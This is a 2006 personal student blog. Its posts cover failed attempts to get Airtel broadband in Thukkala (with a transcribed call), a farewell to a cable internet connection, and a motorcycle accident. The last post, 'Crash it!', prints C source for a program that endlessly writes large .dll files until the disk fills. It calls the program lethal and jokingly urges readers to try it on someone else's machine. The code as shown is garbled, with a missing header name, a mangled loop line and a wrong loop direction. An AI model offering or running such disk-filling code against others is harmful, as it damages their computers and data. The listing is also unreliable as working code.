Tuesday, January 31, 2006

Lost My Last Hope

Airtel BroadBand was my last hope for getting a better net conection.But now , :((. I called their Area Manger for Nagercoil and asked whether the service is available.Ok..let me give u an idea of how he gave hope and ruined it later. Me : "Hello! " AM: "Hello! i am <>>" Me: " I got your number from a local airtel dealer and i mailed you yesterday..Can you help me on your broad band service? Is it available in NagerCoil ??" AM: " You have a postpaid or prepaid connection?" ME:*Confused* "Err..I mean the Broadband service ....Airtel Broadband " AM: "Ohh....the DSL service??" ME:*Sigh* " Yea..the DSL one! I need to know whether you provide that service here in Nagercoil" AM: "Hmm..Are you sure you are talking about the Internet connection? Its not a cell connection.Its for accessing net" ****He thought i was a noob??? Or did i sound like one?? HELL!!!**** ME: "Yea .I know it Sir! I am talking about the internet Service.I just want to know the details." AM: "OK! look you dont need to have a cell for using this connection.We will giv you a modem which will help you....." ME: " ooh..i know it sir..whether its available in Nagercoil??" AM: " Yes ..it is available in Nagercoil!" ME: "Thank you sir!" AM: " Ok...You know about the plans?We have a list of options for you...If you are a basic user you can choo....." ***Thrilled and excited..I cant wait for registering it..*** ME: " I got it from your site sir..Now where should i register for a connection ?" AM: " Ohh..good..Well you can register at.....wait a sec .... <<Call Held>>.......<<Back on Line>> ...hello..You can pick one application from our Airtel Office at Nagercoil and register there.." ME: " Thank you Sir...By the way do you have any other office??" *** i have some personal problems with Nagercoil office :D ...No.... No..not That one dude!! Wrong Guess!!**** ME: " Any one near Thukkala?" AM: " No...ooh you are from thukkala?" ME: " No from trivandrum.Now studying here at thukkala..." AM: " Oh..ok..I have my sister in Thukkala " ME: " oh..thats nice..." AM: " And you want Airtel Broadband in Thukkala?" ME: " Yea!! Ofcourse !!! I stay here" AM: " Oh.sorry man..We cant provide connection to thukkala" ME:"WHY???" ***Confused **** AM: " Due to feasibilty issues...We have orders that we should only cover places that are within 10kms from our base station" ***Loaded Beggar Mode ***** ME:" But thukkala is only 13 kms away..can you please help me?" AM: " Sorry ...I cant.." ME: " But sir..." AM: " We cannot cover your area..We dont have infrastructure for that" ME: " I dont have any other option sir....No other ISPs have such nice plans" AM: " sorry...I cant help you!" ME: " Are you sure sir?" AM: " Sorry ... You can use our gprs service!" ME: " Ok...But.." AM: " You just need to have a GPRS enabled phone and one airtel connection.You can buy one GPRS phone for around 7000 RS.And you need one datacable or infrared to get connected to pc.Then activate Gprs on your Sim card by sending a sms "AirtelLi....." ME: "Thats what i am using now.I mailed you from a Gprs connection.But it..." ***Some how i avoided the un ethical useage of S word *** AM: " Oh well...Thats nice..Ok ..It would be enough for a student like you." ME: " Thats not nice sir ..the speed is worst!! Any way thank you sir.." *** Fed up!!! Now i want to wind up the conversation**** AM: " Ok..Thank you for calling..Have a nice day with Airtel!.. " :( that was a real miss!! now i am sure that i'l be stuck with this ****ing GPRS connection for 1 year.....Well done airtel!!! I think 3kms difference is not something that will cause them a loss...Atleast we have 200+ students here and every one should opt for this one as its cheap and reliable.So that 3 km wasnt a good excuse! Any way he is just an area Manager.Poor chap!! He should obey his superiors. I recorded the conversation just to save the address he may tell.But now i played it and wrote this blog...And it was really funny to hear his English.Genuine Tamilian accent. So once again...one more blog from my Gprs connection.Blogging over a Gprs connection is really a nice test to check your mental stamina. Type the address ..hit enter ..go and have a tea...type in username and password....go and finish your snacks...select the desired blog....if you can get one more cup of tea...come back click create post....change your dress and prepare for an outing...Type in the Blog entry and click post....call up your friends...Come back and click republish the blog to publish the matter....dress up....bang your head on monitor when you see conection lost error! This is what my life goes on now...so..dont be panic if u cant see me online often! I am not dead...I am still alive....here in my room..... bangin my head on my monitor.. :((

Monday, January 30, 2006

Airtel BroadBand

This i s my first post after i shifted my pc to our rented home..I suffer a lot due to the lack of a perfect broadband connection.(Lov u ADL!) I use a Gprs connection now(Airtel Mobile Office) .It costs 250/month for an unlimited connection and speeds are pathetic of max 40kbps on a class 10 Gprs enabled phone (Sony Ericsson k750) .Now one option ahead for me is to opt for a broadband plan form airtel.They provide a very pleasing tariffs for their broadband plans when compared to ADL.
You can see that there is one 256kbps unlimited plan for 900 rs/month.That seems to be a perfect one for me.(Who else wil giv an unlimited plan for 256kbps!!!) .But the problem is i donno how much they will make me pay for installation and for the modem.Checking their site i found that they giv modem for rent.(99/199---> wat do they mean by it??) And its dsl connection.So i think they may have to dig up the roads for a line , which i dont feel very pleasing as my house owner may want me to pay for ruining his premises! :( . And i dont know whether thier service is available in some what rural place like thukkala! . I have sent a mail to them asking it , so all i have to do now is to wait ..wait and wait till they sent me a reply.How did i miss it when i was in tvm?? it looks cool compared to adl! So ADL users please check it up and get one for u.I think its way better than adl . Read more on : Airtel BroadBand

Sunday, January 15, 2006

Good Bye ADL!

Probably this will be my last post from my asianet data line connection.I need to go back to my college (Thukkala - 54 kms from trivandrum) tommorow and i am packing up my pc .I need it there.So i have to disconnect my connection.This is my last day.Sadly i have no option of having a cable net connection there.So i may have to rely on my gprs connection which is about 38kbps. :( I can't play cs anymore.I cant be the same search-download-crack-use guy from tommorow.I can never cast my radio from tommorow.I cant come online as frequent as i do here( my phone is busy almost all time :D) The only option ahead for me is to take a bsnl connection (which will burn a deeeeeeeeeeeeeeeeeeeeep hole in my(dad's) pocket as i'l have to pay the security deposit (we dont have a phone connection there) or to take a tata indicom/reliance connection(which have download limits and ****ing speed) .Any way i can use my gprs(slow but freeeeeeee!!!) connection.So goodbye for ADL!

Saturday, January 14, 2006

Askident!

I wrote this entry once and forgot to save it.So it comes again...
I thought I'd bring some motorcycle safety tips to your attention while they are heavy on my mind.New year was going fine for us.Last saturday we went to the "Geared" motor show conducted by CET students.For our surprise we found Jinann there.We all admire him as the bike guru.A proffessional bike rider who is the current Indian moto champion.He showed us some stunts on a Honda Unicorn given by the Honda dealers.Thats the beginning.We all were on our toes and wanted to do something to grab some attention.Only thing we had was Rajesh's moded pulser.Not much done with that bike - just some tweaks to giv it a sporty look.So we sent rajesh to bring he bike.To be frank,its pretty hard to control that bike.The weight balance was not perfect as our body weight transfered directly to the handle bars.And you have to lean ur body to turn it! [.....................................................................] And on the next day we again went to the show and spent some time there.One of my friend hav one Jawa 350.We displayed it at vintage setion.By noon we got bored.And with full thrill we all planned for a beach trip.One car and two bikes-Mine and that pulser.But i felt tired to ride and as it was raining ,i some how adjusted into the car.So one car and one bike.Arjun and Rajesh were on pulser.Arjun has a very nice(??) history in accidents.He was riding the bike and rajesh was the pillion rider.Just as we entered the new Chakkai- Airport road arjun opened up the throttle and started to push up his speed.There was one tight corner with medians just before the Chakka fire station.Our car was a bit over the limit and went out of control for a second.Shocked but relieved,we tried to pass the info of slippery road to our bike riders.There was one more car in front of us.Arjun tried to overtake them and as i said that bike is hard to control,he leaned towards his left to complete the overtaking action.But the rear tire slipped and it went out of control.I still remmebr that scene.The bike lost its control and it tumbled 2~3 times.Arjun and Rajesh rolled along the road and stopped.I was just shocked and was inactive for a moment.Then i realized that the car has stopped.I rushed towards arjun and he was bleeding heavily."Enne rakshikkuu.." (Save me!) That was his words.By that time others reached and somehow "put" arjun inside and rushed to hospital.Me , rajesh and Abhishek was left there with the bike.Rajesh had very little injuries.Just some scratches.But he lost his mind seeing arjun.Abhishek went with the bike to his friends place to keep it there.We dont want cops in this story :D. Rajesh by this time was completely out of mind . He cried saying that he cant see anything. Well..now its me who lost my mind.I asked him whether he can see me.He said NO!.I was confused.Some one in the crowd helped us and gave some water to him.For gods sake it was just a bloodrush that caused the blackout.Later he was also brought to hospital.It was the govt.General Hospital. They showed a rude mentality to us.We had to call the doctor 4~5 times just to dress up the wounds!! And he did it well!! 2 stitches without cleaning the wound.We then took arjun to another private hospital and they cleaned the wound and put 8 stitches! Now i never want to go to govt.hospitals.

Thursday, January 05, 2006

Crash it!

oohhff...I know sharing lethal programs is illegeal.But i just want to show how simple is it to write something that can jam up your pc.Ok..I used C language to create this one.Its pretty much simple and i think many of you may have seen something like this before.Its a super super super simple code, but anyways, posting it here. Remember, the exe is lethal. I tried it out with a bit of modification (letting me stop midway).Any way it wont replicate or cause data loss.:P
Code:
#include void genfile(char n[13]){ for(int i=7;i>=0;i++){ if(n[i]!='z'){ n[i]++; break; } else{ n[i]='a'; } } } void main(){ fstream file; long i; char fname[13]="aaaaaaaa.dll"; while(1){ file.open(fname,ios::out|ios::binary); for(i=0;i<1000000;i++)>(&i),sizeof(long)); } //Write some amount to file. file.close(); //Now generate a new filename. genfile(fname); } }
Remember, its lethal. Do not try to run it, else your computer will be full of millions (literally) of dlls of 3.8 mb each (which will probably eat up quite sum space).So compile it (without running) and test it on some one else machine :D